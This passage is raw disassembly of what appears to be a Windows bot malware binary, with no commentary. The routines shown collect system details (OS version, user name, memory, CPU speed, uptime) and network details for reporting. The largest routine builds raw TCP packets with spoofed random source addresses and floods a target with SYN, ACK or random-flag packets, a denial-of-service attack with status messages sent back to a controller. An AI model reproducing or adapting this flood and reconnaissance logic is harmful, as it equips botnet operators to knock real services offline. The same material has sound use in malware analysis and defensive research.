		push	esi
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_411540	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4115DB	proc near		; CODE XREF: sub_401000+74p
					; sub_408A18+4720p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_420004	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		mov	esi, offset dword_47C164
		push	esi
		call	sub_41483D
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_4115DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_41162E	proc near		; CODE XREF: sub_4037CA+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 94h
		push	esi
		lea	eax, [ebp+78h+var_94]
		push	eax
		xor	esi, esi
		mov	[ebp+78h+var_94], 94h
		call	ds:dword_420120	; GetVersionExA
		test	eax, eax
		jz	short loc_41169E
		cmp	[ebp+78h+var_90], 4
		jnz	short loc_411680
		cmp	[ebp+78h+var_8C], esi
		jnz	short loc_41166E
		cmp	[ebp+78h+var_84], 1
		jnz	short loc_411663
		inc	esi


loc_411663:				; CODE XREF: sub_41162E+32j
		cmp	[ebp+78h+var_84], 2
		jnz	short loc_41169E
		xor	esi, esi
		inc	esi
		jmp	short loc_41169E
; ---------------------------------------------------------------------------


loc_41166E:				; CODE XREF: sub_41162E+2Cj
		cmp	[ebp+78h+var_8C], 0Ah
		jnz	short loc_411678


loc_411674:				; CODE XREF: sub_41162E+5Bj
		push	2
		jmp	short loc_41169D
; ---------------------------------------------------------------------------


loc_411678:				; CODE XREF: sub_41162E+44j
		cmp	[ebp+78h+var_8C], 5Ah
		jnz	short loc_41169E
		jmp	short loc_411691
; ---------------------------------------------------------------------------


loc_411680:				; CODE XREF: sub_41162E+27j
		cmp	[ebp+78h+var_90], 5
		jnz	short loc_41169E
		cmp	[ebp+78h+var_8C], esi
		jz	short loc_411674
		cmp	[ebp+78h+var_8C], 1
		jnz	short loc_411695


loc_411691:				; CODE XREF: sub_41162E+50j
		push	3
		jmp	short loc_41169D
; ---------------------------------------------------------------------------


loc_411695:				; CODE XREF: sub_41162E+61j
		cmp	[ebp+78h+var_8C], 2
		jnz	short loc_41169E
		push	7


loc_41169D:				; CODE XREF: sub_41162E+48j
					; sub_41162E+65j
		pop	esi


loc_41169E:				; CODE XREF: sub_41162E+21j
					; sub_41162E+39j ...
		mov	eax, esi
		pop	esi
		add	ebp, 78h
		leave
		retn
sub_41162E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4116A6	proc near		; CODE XREF: sub_41175C+240p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_4116AE:				; CODE XREF: sub_4116A6+2Fj
					; sub_4116A6+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	ds:dword_420000	; Sleep
		rdtsc
		push	0
		sub	eax, esi
		push	edi
		sbb	edx, ebx
		push	edx
		push	eax
		call	sub_416160
		mov	esi, edx
		test	esi, esi
		mov	ebx, eax
		ja	short loc_4116AE
		jb	short loc_4116DD
		cmp	ebx, edi
		ja	short loc_4116AE


loc_4116DD:				; CODE XREF: sub_4116A6+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_4160E0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		test	ecx, ecx
		mov	edi, eax
		pop	eax
		ja	short loc_411750
		jb	short loc_4116FC
		cmp	edi, 50h
		jnb	short loc_411701


loc_4116FC:				; CODE XREF: sub_4116A6+4Fj
		push	4Bh
		pop	eax
		xor	edx, edx


loc_411701:				; CODE XREF: sub_4116A6+54j
		test	ecx, ecx
		ja	short loc_411750
		jb	short loc_41170C
		cmp	edi, 47h
		jnb	short loc_411711


loc_41170C:				; CODE XREF: sub_4116A6+5Fj
		push	42h
		pop	eax
		xor	edx, edx


loc_411711:				; CODE XREF: sub_4116A6+64j
		test	ecx, ecx
		ja	short loc_411750
		jb	short loc_41171C
		cmp	edi, 37h
		jnb	short loc_411721


loc_41171C:				; CODE XREF: sub_4116A6+6Fj
		push	32h
		pop	eax
		xor	edx, edx


loc_411721:				; CODE XREF: sub_4116A6+74j
		test	ecx, ecx
		ja	short loc_411750
		jb	short loc_41172C
		cmp	edi, 26h
		jnb	short loc_411731


loc_41172C:				; CODE XREF: sub_4116A6+7Fj
		push	21h
		pop	eax
		xor	edx, edx


loc_411731:				; CODE XREF: sub_4116A6+84j
		test	ecx, ecx
		ja	short loc_411750
		jb	short loc_41173C
		cmp	edi, 1Eh
		jnb	short loc_411741


loc_41173C:				; CODE XREF: sub_4116A6+8Fj
		push	19h
		pop	eax
		xor	edx, edx


loc_411741:				; CODE XREF: sub_4116A6+94j
		test	ecx, ecx
		ja	short loc_411750
		jb	short loc_41174C
		cmp	edi, 0Ah
		jnb	short loc_411750


loc_41174C:				; CODE XREF: sub_4116A6+9Fj
		xor	eax, eax
		xor	edx, edx


loc_411750:				; CODE XREF: sub_4116A6+4Dj
					; sub_4116A6+5Dj ...
		sub	eax, edi
		sbb	edx, ecx
		add	eax, ebx
		pop	edi
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_4116A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_41175C	proc near		; CODE XREF: sub_408A18+4917p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 7E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+70h+var_CC]
		push	eax
		mov	[ebp+70h+var_4], 420AEAh
		mov	[ebp+70h+var_CC], 94h
		call	ds:dword_420120	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+70h+var_C8], 4
		jnz	short loc_4117CD
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_4117AF
		cmp	[ebp+70h+var_BC], 1
		jnz	short loc_41179C
		mov	[ebp+70h+var_4], offset	a95 ; "95"


loc_41179C:				; CODE XREF: sub_41175C+37j
		cmp	[ebp+70h+var_BC], 2
		jnz	loc_411833
		mov	[ebp+70h+var_4], offset	aNt ; "NT"
		jmp	short loc_41180A
; ---------------------------------------------------------------------------


loc_4117AF:				; CODE XREF: sub_41175C+31j
		cmp	[ebp+70h+var_C4], 0Ah
		jnz	short loc_4117BE
		mov	[ebp+70h+var_4], offset	a98 ; "98"
		jmp	short loc_411804
; ---------------------------------------------------------------------------


loc_4117BE:				; CODE XREF: sub_41175C+57j
		cmp	[ebp+70h+var_C4], 5Ah
		jnz	short loc_4117FD
		mov	[ebp+70h+var_4], offset	aMe_0 ;	"ME"
		jmp	short loc_411804
; ---------------------------------------------------------------------------


loc_4117CD:				; CODE XREF: sub_41175C+2Cj
		cmp	[ebp+70h+var_C8], 5
		jnz	short loc_4117FD
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_4117E1
		mov	[ebp+70h+var_4], offset	a2k ; "2K"
		jmp	short loc_411804
; ---------------------------------------------------------------------------


loc_4117E1:				; CODE XREF: sub_41175C+7Aj
		cmp	[ebp+70h+var_C4], 1
		jnz	short loc_4117F0
		mov	[ebp+70h+var_4], offset	aXp_0 ;	"XP"
		jmp	short loc_411804
; ---------------------------------------------------------------------------


loc_4117F0:				; CODE XREF: sub_41175C+89j
		cmp	[ebp+70h+var_C4], 2
		mov	[ebp+70h+var_4], offset	a2003 ;	"2003"
		jz	short loc_411804


loc_4117FD:				; CODE XREF: sub_41175C+66j
					; sub_41175C+75j
		mov	[ebp+70h+var_4], offset	a??? ; "???"


loc_411804:				; CODE XREF: sub_41175C+60j
					; sub_41175C+6Fj ...
		cmp	[ebp+70h+var_BC], 2
		jnz	short loc_411833


loc_41180A:				; CODE XREF: sub_41175C+51j
		cmp	[ebp+70h+var_B8], bl
		jz	short loc_411833
		lea	eax, [ebp+70h+var_B8]
		push	eax
		push	[ebp+70h+var_4]
		lea	eax, [ebp+70h+var_2E8]
		push	offset aSS_5	; "%s (%s)"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+70h+var_2E8]
		add	esp, 10h
		mov	[ebp+70h+var_4], eax


loc_411833:				; CODE XREF: sub_41175C+44j
					; sub_41175C+ACj ...
		push	3Fh
		pop	ecx
		xor	eax, eax
		mov	[ebp+70h+var_25C], cx
		lea	edi, [ebp+70h+var_25A]
		rep stosd
		stosw
		mov	eax, dword_435878
		cmp	eax, ebx
		mov	[ebp+70h+var_C], 100h
		jz	short loc_411866
		lea	ecx, [ebp+70h+var_C]
		push	ecx
		lea	ecx, [ebp+70h+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_411866:				; CODE XREF: sub_41175C+FBj
		push	[ebp+70h+arg_4]
		call	sub_407D51
		pop	ecx
		push	eax
		call	dword_43585C	; inet_addr
		push	2
		mov	[ebp+70h+var_8], eax
		push	4
		lea	eax, [ebp+70h+var_8]
		push	eax
		call	dword_4358D8	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41188F
		push	dword ptr [eax]
		jmp	short loc_411894
; ---------------------------------------------------------------------------


loc_41188F:				; CODE XREF: sub_41175C+12Dj
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_411894:				; CODE XREF: sub_41175C+131j
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	104h
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	ds:dword_420048	; GetSystemDirectoryA
		push	46h
		lea	eax, [ebp+70h+var_114]
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	ds:dword_42009C	; GetDateFormatA
		push	46h
		lea	eax, [ebp+70h+var_15C]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_420098	; GetTimeFormatA
		push	8
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+70h+var_38]
		rep stosd
		lea	eax, [ebp+70h+var_38]
		push	eax
		call	ds:dword_420130	; GlobalMemoryStatus
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	sub_415D0D
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_7E8]
		push	eax
		call	sub_402C41
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+70h+var_668]
		push	ebx
		rep movsd
		call	sub_4115DB
		add	esp, 20h
		push	eax
		lea	eax, [ebp+70h+var_15C]
		push	eax
		lea	eax, [ebp+70h+var_114]
		push	eax
		lea	eax, [ebp+70h+var_25C]
		push	eax
		push	[ebp+70h+arg_4]
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		push	[ebp+70h+var_C0]
		lea	eax, [ebp+70h+var_5E8]
		push	[ebp+70h+var_C4]
		push	[ebp+70h+var_C8]
		push	[ebp+70h+var_4]
		push	eax
		lea	eax, [ebp+70h+var_568]
		push	eax
		mov	eax, [ebp+70h+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_402B3D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+70h+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_402B3D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4116A6
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+70h+arg_0]
		call	sub_41483D
		mov	eax, [ebp+70h+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_41175C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_4119C3	proc near		; CODE XREF: sub_408A18+3778p
					; sub_408A18+4946p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 8Ch
		push	edi
		push	20h
		pop	ecx
		xor	eax, eax
		cmp	dword_435960, eax
		lea	edi, [ebp+6Ch+var_8C]
		rep stosd
		pop	edi
		jnz	short loc_411A29
		push	eax
		push	80h
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		call	dword_435930	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_411A0A
		lea	eax, [ebp+6Ch+var_8C]
		push	offset dword_42876C
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_411A0A:				; CODE XREF: sub_4119C3+35j
		test	[ebp+6Ch+var_C], 1
		lea	eax, [ebp+6Ch+var_8]
		jz	short loc_411A22
		push	offset dword_428764


loc_411A18:				; CODE XREF: sub_4119C3+64j
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_411A47
; ---------------------------------------------------------------------------


loc_411A22:				; CODE XREF: sub_4119C3+4Ej
		push	offset dword_428760
		jmp	short loc_411A18
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_4119C3+1Dj
		push	esi
		mov	esi, offset off_42875C
		lea	eax, [ebp+6Ch+var_8]
		push	esi
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+6Ch+var_8C]
		push	esi
		push	eax
		call	sub_4145E5
		add	esp, 10h
		pop	esi


loc_411A47:				; CODE XREF: sub_4119C3+5Dj
		push	[ebp+6Ch+arg_4]
		push	[ebp+6Ch+arg_8]
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+6Ch+arg_0]
		call	sub_41483D
		mov	eax, [ebp+6Ch+arg_0]
		add	esp, 1Ch
		add	ebp, 6Ch
		leave
		retn
sub_4119C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_411A79	proc near		; DATA XREF: sub_408A18+53BFo

var_13A8	= word ptr -13A8h
var_BD8		= byte ptr -0BD8h
var_BD7		= byte ptr -0BD7h
var_BC4		= byte ptr -0BC4h
var_BB8		= byte ptr -0BB8h
var_BB0		= byte ptr -0BB0h
var_BA4		= byte ptr -0BA4h
var_408		= byte ptr -408h
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 13A8h
		call	sub_414800
		mov	eax, [ebp+arg_0]
		and	[ebp+var_BD8], 0
		push	ebx
		push	esi
		push	edi
		mov	ebx, ds:dword_420004
		mov	esi, eax
		push	69h
		pop	ecx
		lea	edi, [ebp+var_208]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1A0h], esi
		xor	eax, eax
		mov	ecx, 1F3h
		lea	edi, [ebp+var_BD7]
		rep stosd
		stosw
		stosb
		call	ebx	; GetTickCount
		push	eax
		call	sub_414794
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4357E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_411B42
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_408]
		push	offset aTcpErrorSocket ; "[TCP]: Error:	socket() failed, returned"...
		push	eax
		call	sub_4145E5
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_6C], esi
		jnz	short loc_411B23


loc_411B03:				; CODE XREF: sub_411A79+52Bj
		push	esi
		push	[ebp+var_70]
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_208]
		call	sub_4056FB
		add	esp, 14h


loc_411B23:				; CODE XREF: sub_411A79+88j
					; sub_411A79+525j
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_401EFF
		push	[ebp+var_84]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_411F62
; ---------------------------------------------------------------------------


loc_411B42:				; CODE XREF: sub_411A79+66j
		push	4
		lea	ecx, [ebp+var_34]
		push	ecx
		push	2
		xor	edi, edi
		push	edi
		push	eax
		mov	[ebp+var_34], esi
		call	dword_435804	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411B85
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_408]
		push	offset aTcpErrorSetsoc ; "[TCP]: Error:	setsockopt() failed, retu"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_411B77:				; CODE XREF: sub_411A79+131j
		cmp	[ebp+var_6C], edi
		jnz	loc_411F48
		jmp	loc_411F28
; ---------------------------------------------------------------------------


loc_411B85:				; CODE XREF: sub_411A79+E1j
		lea	eax, [ebp+var_204]
		push	eax
		call	dword_43585C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411BAC
		lea	eax, [ebp+var_408]
		push	offset aTcpInvalidTarg ; "[TCP]: Invalid target	IP."
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_411B77
; ---------------------------------------------------------------------------


loc_411BAC:				; CODE XREF: sub_411A79+11Cj
		xor	eax, eax
		lea	edi, [ebp+var_44]
		stosd
		stosd
		stosd
		stosd
		xor	edi, edi
		push	edi
		mov	[ebp+var_44], 2
		call	dword_435934	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_204]
		push	eax
		call	dword_43585C	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], edi
		call	ebx	; GetTickCount
		mov	[ebp+var_1C], eax
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_1C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_78]
		ja	loc_411EDD
		mov	[ebp+var_30], 45h
		mov	[ebp+var_2C], si
		mov	[ebp+var_2A], di
		mov	[ebp+var_28], 80h
		mov	[ebp+var_27], 6
		mov	[ebp+var_C], 50h
		mov	[ebp+var_6], di


loc_411C13:				; CODE XREF: sub_411A79+45Ej
		cmp	[ebp+var_74], edi
		mov	[ebp+var_26], di
		jz	short loc_411C43
		call	sub_4147A1
		mov	esi, eax
		shl	esi, 8
		call	sub_4147A1
		add	esi, eax
		shl	esi, 8
		call	sub_4147A1
		add	esi, eax
		shl	esi, 8
		call	sub_4147A1
		add	esi, eax
		jmp	short loc_411C58
; ---------------------------------------------------------------------------


loc_411C43:				; CODE XREF: sub_411A79+1A1j
		push	[ebp+var_208]
		call	sub_407D51
		pop	ecx
		push	eax
		call	dword_43585C	; inet_addr
		mov	esi, eax


loc_411C58:				; CODE XREF: sub_411A79+1C8j
		cmp	[ebp+var_80], edi
		mov	eax, [ebp+var_40]
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], eax
		jnz	short loc_411C73
		call	sub_4147A1
		add	eax, 401h
		push	eax
		jmp	short loc_411C76
; ---------------------------------------------------------------------------


loc_411C73:				; CODE XREF: sub_411A79+1EBj
		push	[ebp+var_80]


loc_411C76:				; CODE XREF: sub_411A79+1F8j
		call	dword_435934	; ntohs
		cmp	[ebp+var_7C], edi
		mov	[ebp+var_16], ax
		jnz	short loc_411C95
		call	sub_4147A1
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_411C98
; ---------------------------------------------------------------------------


loc_411C95:				; CODE XREF: sub_411A79+20Aj
		push	[ebp+var_7C]


loc_411C98:				; CODE XREF: sub_411A79+21Aj
		call	dword_435934	; ntohs
		mov	[ebp+var_18], ax
		call	sub_4147A1
		mov	ebx, eax
		shl	ebx, 8
		call	sub_4147A1
		add	ebx, eax
		shl	ebx, 8
		call	sub_4147A1
		add	ebx, eax
		shl	ebx, 8
		call	sub_4147A1
		add	ebx, eax
		push	ebx
		call	dword_43590C	; ntohl
		mov	[ebp+var_14], eax
		call	sub_4147A1
		shl	eax, 1
		cdq
		mov	ecx, 578h
		idiv	ecx
		lea	eax, [ebp+var_184]
		push	offset aSyn	; "syn"
		push	eax
		mov	ebx, edx
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_411D05
		mov	[ebp+var_10], edi
		mov	[ebp+var_B], 2
		jmp	loc_411D88
; ---------------------------------------------------------------------------


loc_411D05:				; CODE XREF: sub_411A79+27Ej
		lea	eax, [ebp+var_184]
		push	offset aAck	; "ack"
		push	eax
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_411D3D
		call	sub_4147A1
		mov	edi, eax
		shl	edi, 10h
		call	sub_4147A1
		or	edi, eax
		push	edi
		call	dword_43590C	; ntohl
		mov	[ebp+var_10], eax
		mov	[ebp+var_B], 18h
		jmp	short loc_411D86
; ---------------------------------------------------------------------------


loc_411D3D:				; CODE XREF: sub_411A79+2A1j
		lea	eax, [ebp+var_184]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_411D88
		call	sub_4147A1
		mov	edi, eax
		shl	edi, 10h
		call	sub_4147A1
		or	edi, eax
		push	edi
		call	dword_43590C	; ntohl
		mov	[ebp+var_10], eax
		call	sub_4147A1
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 16h
		add	dl, cl
		mov	[ebp+var_B], dl


loc_411D86:				; CODE XREF: sub_411A79+2C2j
		xor	edi, edi


loc_411D88:				; CODE XREF: sub_411A79+287j
					; sub_411A79+2D9j
		lea	eax, [ebx+28h]
		push	eax
		call	dword_435934	; ntohs
		push	1000h
		mov	[ebp+var_2E], ax
		call	dword_435934	; ntohs
		and	[ebp+var_5C], 0
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_60], eax
		lea	eax, [ebx+14h]
		push	eax
		mov	[ebp+var_8], di
		mov	[ebp+var_64], esi
		mov	[ebp+var_5B], 6
		call	dword_435934	; ntohs
		mov	[ebp+var_5A], ax
		mov	eax, ebx
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		cmp	esi, edi
		jle	short loc_411DE7


loc_411DD5:				; CODE XREF: sub_411A79+36Cj
		call	sub_4147A1
		mov	[ebp+edi*2+var_13A8], ax
		inc	edi
		cmp	edi, esi
		jl	short loc_411DD5


loc_411DE7:				; CODE XREF: sub_411A79+35Aj
		push	8
		pop	ecx
		push	5
		lea	esi, [ebp+var_64]
		lea	edi, [ebp+var_BD8]
		rep movsd
		pop	ecx
		lea	esi, [ebp+var_18]
		lea	edi, [ebp+var_BB8]
		rep movsd
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_13A8]
		lea	edi, [ebp+var_BA4]
		rep movsd
		mov	ecx, eax
		lea	eax, [ebx+34h]
		push	eax
		lea	eax, [ebp+var_BD8]
		and	ecx, 3
		push	eax
		rep movsb
		call	sub_407DA7
		push	5
		pop	ecx
		push	5
		mov	[ebp+var_8], ax
		lea	esi, [ebp+var_30]
		lea	edi, [ebp+var_BD8]
		rep movsd
		pop	ecx
		lea	esi, [ebp+var_18]
		lea	edi, [ebp+var_BC4]
		rep movsd
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_13A8]
		lea	edi, [ebp+var_BB0]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		lea	edi, [ebp+ebx+var_BB0]
		stosd
		add	ebx, 28h
		lea	eax, [ebp+var_BD8]
		push	ebx
		push	eax
		call	sub_407DA7
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+var_26], ax
		lea	esi, [ebp+var_30]
		lea	edi, [ebp+var_BD8]
		lea	eax, [ebp+var_44]
		push	eax
		rep movsd
		xor	esi, esi
		push	esi
		push	ebx
		lea	eax, [ebp+var_BD8]
		push	eax
		push	[ebp+var_4]
		call	dword_4357B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_411F68
		inc	[ebp+arg_0]
		call	ds:dword_420004	; GetTickCount
		sub	eax, [ebp+var_1C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edi, edi
		cmp	eax, [ebp+var_78]
		jbe	loc_411C13


loc_411EDD:				; CODE XREF: sub_411A79+178j
		push	[ebp+var_4]
		call	dword_4358F4	; closesocket
		mov	eax, [ebp+arg_0]
		imul	eax, 7D0h
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+var_78]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_408]
		push	offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"...
		push	eax
		call	sub_4145E5
		add	esp, 1Ch
		cmp	[ebp+var_6C], edi
		jnz	short loc_411F48


loc_411F28:				; CODE XREF: sub_411A79+107j
		push	edi
		push	[ebp+var_70]
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_208]
		call	sub_4056FB
		add	esp, 14h


loc_411F48:				; CODE XREF: sub_411A79+101j
					; sub_411A79+4ADj
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_401EFF
		push	[ebp+var_84]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	edi


loc_411F62:				; CODE XREF: sub_411A79+C4j
		call	ds:dword_420014	; ExitThread


loc_411F68:				; CODE XREF: sub_411A79+43Ej
		push	[ebp+var_4]
		call	dword_4358F4	; closesocket
		call	dword_4358A0	; WSAGetLastError
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_204]
		push	eax
		push	offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."...
		lea	eax, [ebp+var_408]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 18h
		cmp	[ebp+var_6C], esi
		jnz	loc_411B23
		jmp	loc_411B03
sub_411A79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_411FA9	proc near		; CODE XREF: sub_411FA9:loc_412462p
					; DATA XREF: sub_401141+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
